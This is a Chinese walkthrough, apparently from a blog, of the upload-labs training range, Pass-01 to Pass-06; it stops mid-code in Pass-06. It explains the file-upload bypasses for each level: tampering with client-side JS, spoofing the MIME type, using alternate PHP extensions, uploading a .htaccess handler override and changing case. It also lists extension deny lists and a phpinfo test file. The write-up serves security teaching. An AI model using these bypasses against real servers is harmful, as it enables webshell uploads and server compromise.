<content type="html"><![CDATA[<blockquote><p>说明:做题前先清空之前关卡上传的文件</p></blockquote><h2 id="Pass-01-js检查"><a href="#Pass-01-js检查" class="headerlink" title="Pass-01 js检查"></a>Pass-01 js检查</h2><h3 id="1-分析"><a href="#1-分析" class="headerlink" title="1. 分析"></a>1. 分析</h3><p>首先我们先上传一张正常的图片,确定上传后文件保存的路劲</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103110837756.png" alt="image-20201103110837756"></p><blockquote><p>上传路劲为<code>../upload/</code>, 也就是<code>http://ip/upload/tao.jpg</code></p></blockquote><p>查看源代码,发现基于前端js的检查,只检查了文件上传的后缀,那么我们基于前端控制台,就该即可绕过</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103110631693.png" alt="image-20201103110631693"></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Pass-01</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkFile</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> file = <span class="built_in">document</span>.getElementsByName(<span class="string">'upload_file'</span>)[<span class="number">0</span>].value;</span><br><span class="line"> <span class="keyword">if</span> (file == <span class="literal">null</span> || file == <span class="string">""</span>) {</span><br><span class="line"> alert(<span class="string">"请选择要上传的文件!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//定义允许上传的文件类型</span></span><br><span class="line"> <span class="keyword">var</span> allow_ext = <span class="string">".jpg|.png|.gif"</span>;</span><br><span class="line"> <span class="comment">//提取上传文件的类型</span></span><br><span class="line"> <span class="keyword">var</span> ext_name = file.substring(file.lastIndexOf(<span class="string">"."</span>));</span><br><span class="line"> <span class="comment">//判断上传文件类型是否允许上传</span></span><br><span class="line"> <span class="keyword">if</span> (allow_ext.indexOf(ext_name) == <span class="number">-1</span>) {</span><br><span class="line"> <span class="keyword">var</span> errMsg = <span class="string">"该文件不允许上传,请上传"</span> + allow_ext + <span class="string">"类型的文件,当前文件类型为:"</span> + ext_name;</span><br><span class="line"> alert(errMsg);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="2-利用"><a href="#2-利用" class="headerlink" title="2. 利用"></a>2. 利用</h3><p>我们将上述代码允许修改成<code>.php</code>, 然后复制代码在<code>concole</code>执行, 执行如下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103111418840.png" alt="image-20201103111418840"></p><p>然后我们上传php文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103111639392.png" alt="image-20201103111639392"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103111651040.png" alt="image-20201103111651040"></p><h2 id="Pass-02-MIME类型检查"><a href="#Pass-02-MIME类型检查" class="headerlink" title="Pass-02 MIME类型检查"></a>Pass-02 MIME类型检查</h2><h3 id="1-分析-1"><a href="#1-分析-1" class="headerlink" title="1. 分析"></a>1. 分析</h3><p>查看源代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-02</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> <span class="keyword">if</span> (($_FILES[<span class="string">'upload_file'</span>][<span class="string">'type'</span>] == <span class="string">'image/jpeg'</span>) || ($_FILES[<span class="string">'upload_file'</span>][<span class="string">'type'</span>] == <span class="string">'image/png'</span>) || ($_FILES[<span class="string">'upload_file'</span>][<span class="string">'type'</span>] == <span class="string">'image/gif'</span>)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH . <span class="string">'/'</span> . $_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>] </span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'文件类型不正确,请重新上传!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH.<span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>上面代码第5行只对文件的<code>MIME</code>类型进行了检查,及只对http包头<code>Content-type</code>字段进行了校验</p><p>常见MIME类型</p><table><thead><tr><th align="left">类型</th><th align="left">描述</th><th align="left">典型示例</th></tr></thead><tbody><tr><td align="left"><code>text</code></td><td align="left">表明文件是普通文本,理论上是人类可读</td><td align="left"><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td></tr><tr><td align="left"><code>image</code></td><td align="left">表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型</td><td align="left"><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code>, <code>image/x-icon</code>, <code>image/vnd.microsoft.icon</code></td></tr><tr><td align="left"><code>audio</code></td><td align="left">表明是某种音频文件</td><td align="left"><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td></tr><tr><td align="left"><code>video</code></td><td align="left">表明是某种视频文件</td><td align="left"><code>video/webm</code>, <code>video/ogg</code></td></tr><tr><td align="left"><code>application</code></td><td align="left">表明是某种二进制数据</td><td align="left"><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>, <code>application/pdf</code></td></tr></tbody></table><h3 id="2-利用-1"><a href="#2-利用-1" class="headerlink" title="2. 利用"></a>2. 利用</h3><p>因为代码只对<code>Content-type</code>字段进行了校验, 我们使用<code>burp</code>修改符号的类型即可绕过</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103112446651.png" alt="image-20201103112446651"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103112523478.png" alt="image-20201103112523478"></p><h2 id="Pass-03-黑名单绕过"><a href="#Pass-03-黑名单绕过" class="headerlink" title="Pass-03 黑名单绕过"></a>Pass-03 黑名单绕过</h2><h3 id="1-分析-2"><a href="#1-分析-2" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-03</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">'.asp'</span>,<span class="string">'.aspx'</span>,<span class="string">'.php'</span>,<span class="string">'.jsp'</span>);</span><br><span class="line"> $file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"> $file_name = deldot($file_name);<span class="comment">//删除文件名末尾的点</span></span><br><span class="line"> $file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"> $file_ext = strtolower($file_ext); <span class="comment">//转换为小写</span></span><br><span class="line"> $file_ext = str_ireplace(<span class="string">'::$DATA'</span>, <span class="string">''</span>, $file_ext);<span class="comment">//去除字符串::$DATA</span></span><br><span class="line"> $file_ext = trim($file_ext); <span class="comment">//收尾去空</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(!in_array($file_ext, $deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.date(<span class="string">"YmdHis"</span>).rand(<span class="number">1000</span>,<span class="number">9999</span>).$file_ext; </span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file,$img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'不允许上传.asp,.aspx,.php,.jsp后缀文件!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>trim() 函数移除字符串两侧的空白字符或其他预定义字符</p><p>语法:<code>trim(string,charlist)</code></p></blockquote><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><em>string</em></td><td align="left">必需。规定要检查的字符串。</td></tr><tr><td align="left"><em>charlist</em></td><td align="left">可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:<br />“\0” - NULL”\t” <br />- 制表符”\n”<br /> - 换行”\x0B”<br /> - 垂直制表符”\r”<br /> - 回车” “<br /> - 空格</td></tr></tbody></table><blockquote><p>deldot(file_name); //删除文件名末尾的点</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">deldot</span>(<span class="params">$s</span>)</span>{</span><br><span class="line"><span class="keyword">for</span>($i = strlen($s)<span class="number">-1</span>;$i><span class="number">0</span>;$i--){</span><br><span class="line">$c = substr($s,$i,<span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span>($i == strlen($s)<span class="number">-1</span> <span class="keyword">and</span> $c != <span class="string">'.'</span>){</span><br><span class="line"><span class="keyword">return</span> $s;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($c != <span class="string">'.'</span>){</span><br><span class="line"><span class="keyword">return</span> substr($s,<span class="number">0</span>,$i+<span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符</p><p>语法:<code>strrchr(string,char)</code></p></blockquote><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><em>string</em></td><td align="left">必需。规定要搜索的字符串。</td></tr><tr><td align="left"><em>char</em></td><td align="left">必需。规定要查找的字符。如果该参数是数字,则搜索匹配此数字的 ASCII 值的字符。</td></tr><tr><td align="left">返回值</td><td align="left">返回从某个字符串在另一个字符串中最后一次出现的位置到主字符串结尾的所有字符。</td></tr></tbody></table><blockquote><p>strtolower() 函数把字符串转换为小写</p></blockquote><blockquote><p>str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。</p><p>该函数必须遵循下列规则:</p><ul><li>如果搜索的字符串是一个数组,那么它将返回一个数组。</li><li>如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。</li><li>如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换</li><li>如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用</li></ul><p>语法:<code>str_ireplace(find,replace,string,count)</code></p></blockquote><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><em>find</em></td><td align="left">必需。规定要查找的值。</td></tr><tr><td align="left"><em>replace</em></td><td align="left">必需。规定替换 <em>find</em> 中的值的值。</td></tr><tr><td align="left"><em>string</em></td><td align="left">必需。规定被搜索的字符串。</td></tr><tr><td align="left"><em>count</em></td><td align="left">可选。一个变量,对替换数进行计数。</td></tr></tbody></table><p>不允许上传<code>.asp,.aspx,.php,.jsp</code>后缀文件,但是可以上传其他任意后缀</p><p>但是可以上传其他任意后缀</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.php .phtml .phps .php5 .pht</span><br></pre></td></tr></table></figure><p>前提是apache的<code>httpd.conf</code>中有如下配置代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AddType application/x-httpd-php .php .phtml .phps .php5 .pht</span><br></pre></td></tr></table></figure><p>或者上传<code>.htaccess</code>文件,需要:</p><ul><li><p><code>mod_rewrite模块开启</code></p></li><li><p><code>AllowOverride All</code></p></li><li><p>文件内容如下:</p><ul><li><pre><code class="php"><FilesMatch "shell.jpg"> SetHandler application/x-httpd-php</FilesMatch><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"> - 此时上传`shell.jpg`文件即可被当作php来解析</span><br><span class="line"></span><br><span class="line">或者</span><br><span class="line"></span><br><span class="line">```php</span><br><span class="line">AddType application/x-httpd-php .jpg</span><br></pre></td></tr></table></figure></code></pre></li></ul></li></ul><blockquote><p>所有<code>.jpg</code>文件会被解析成php文件</p></blockquote><p><font color="red">这里第15行代码,会给文件进行重命名,导致上传的<code>.htaccess</code>会变成<code>数字.htaccess</code></font></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103151931851.png" alt="image-20201103151931851"></p><p>我们用第一种方法</p><h3 id="2-利用-2"><a href="#2-利用-2" class="headerlink" title="2. 利用"></a>2. 利用</h3><p>上传后缀为<code>.php5</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103150159067.png" alt="image-20201103150159067"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103150206566.png" alt="image-20201103150206566"></p><h2 id="Pass-04-htaccess绕过"><a href="#Pass-04-htaccess绕过" class="headerlink" title="Pass-04 .htaccess绕过"></a>Pass-04 .htaccess绕过</h2><h3 id="1-分析-3"><a href="#1-分析-3" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-04</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">"php1"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">"pHp1"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>);</span><br><span class="line"> $file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"> $file_name = deldot($file_name);<span class="comment">//删除文件名末尾的点</span></span><br><span class="line"> $file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"> $file_ext = strtolower($file_ext); <span class="comment">//转换为小写</span></span><br><span class="line"> $file_ext = str_ireplace(<span class="string">'::$DATA'</span>, <span class="string">''</span>, $file_ext);<span class="comment">//去除字符串::$DATA</span></span><br><span class="line"> $file_ext = trim($file_ext); <span class="comment">//收尾去空</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!in_array($file_ext, $deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$file_name;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'此文件不允许上传!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>过滤了各种罕见后缀</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$deny_ext = <span class="keyword">array</span>(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">"php1"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">"pHp1"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>);</span><br></pre></td></tr></table></figure><p>但是没有过滤<code>.htaccess</code>,上述代码跟第三题类似,代码分析参看Pass-03</p><h3 id="2-利用-3"><a href="#2-利用-3" class="headerlink" title="2. 利用"></a>2. 利用</h3><p>上传<code>.htaccess</code>文件,文件内容如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AddType application/x-httpd-php .jpg</span><br></pre></td></tr></table></figure><blockquote><p>将后缀<code>.jpg</code>的文件解释为php可执行文件</p></blockquote><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103151003690.png" alt="image-20201103151003690"></p><p>然后上传<code>phpinfo.jpg</code>, 内容如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">phpinfo();</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103151024526.png" alt="image-20201103151024526"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103151036864.png" alt="image-20201103151036864"></p><h2 id="Pass-05-大小写绕过"><a href="#Pass-05-大小写绕过" class="headerlink" title="Pass-05 大小写绕过"></a>Pass-05 大小写绕过</h2><h3 id="1-分析-4"><a href="#1-分析-4" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-05</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>,<span class="string">".htaccess"</span>);</span><br><span class="line"> $file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"> $file_name = deldot($file_name);<span class="comment">//删除文件名末尾的点</span></span><br><span class="line"> $file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"> $file_ext = str_ireplace(<span class="string">'::$DATA'</span>, <span class="string">''</span>, $file_ext);<span class="comment">//去除字符串::$DATA</span></span><br><span class="line"> $file_ext = trim($file_ext); <span class="comment">//首尾去空</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!in_array($file_ext, $deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.date(<span class="string">"YmdHis"</span>).rand(<span class="number">1000</span>,<span class="number">9999</span>).$file_ext;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'此文件类型不允许上传!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>禁用了罕见的一些后缀,以及<code>.htaccess</code>, 但是并没有将后缀转换成小写,这里没有<code>strtolower()</code>函数进行后缀处理,而禁用的后缀并没有包括<code>Php</code>后缀</p><blockquote><p> 注意:在Linux没有特殊配置的情况下,这种情况只有win可以,因为win会忽略大小写</p></blockquote><h3 id="2-利用-4"><a href="#2-利用-4" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103152856438.png" alt="image-20201103152856438"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103152910258.png" alt="image-20201103152910258"></p><h2 id="Pass-06-空格绕过"><a href="#Pass-06-空格绕过" class="headerlink" title="Pass-06 空格绕过"></a>Pass-06 空格绕过</h2><h3 id="1-代码分析"><a href="#1-代码分析" class="headerlink" title="1. 代码分析"></a>1. 代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-06</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span 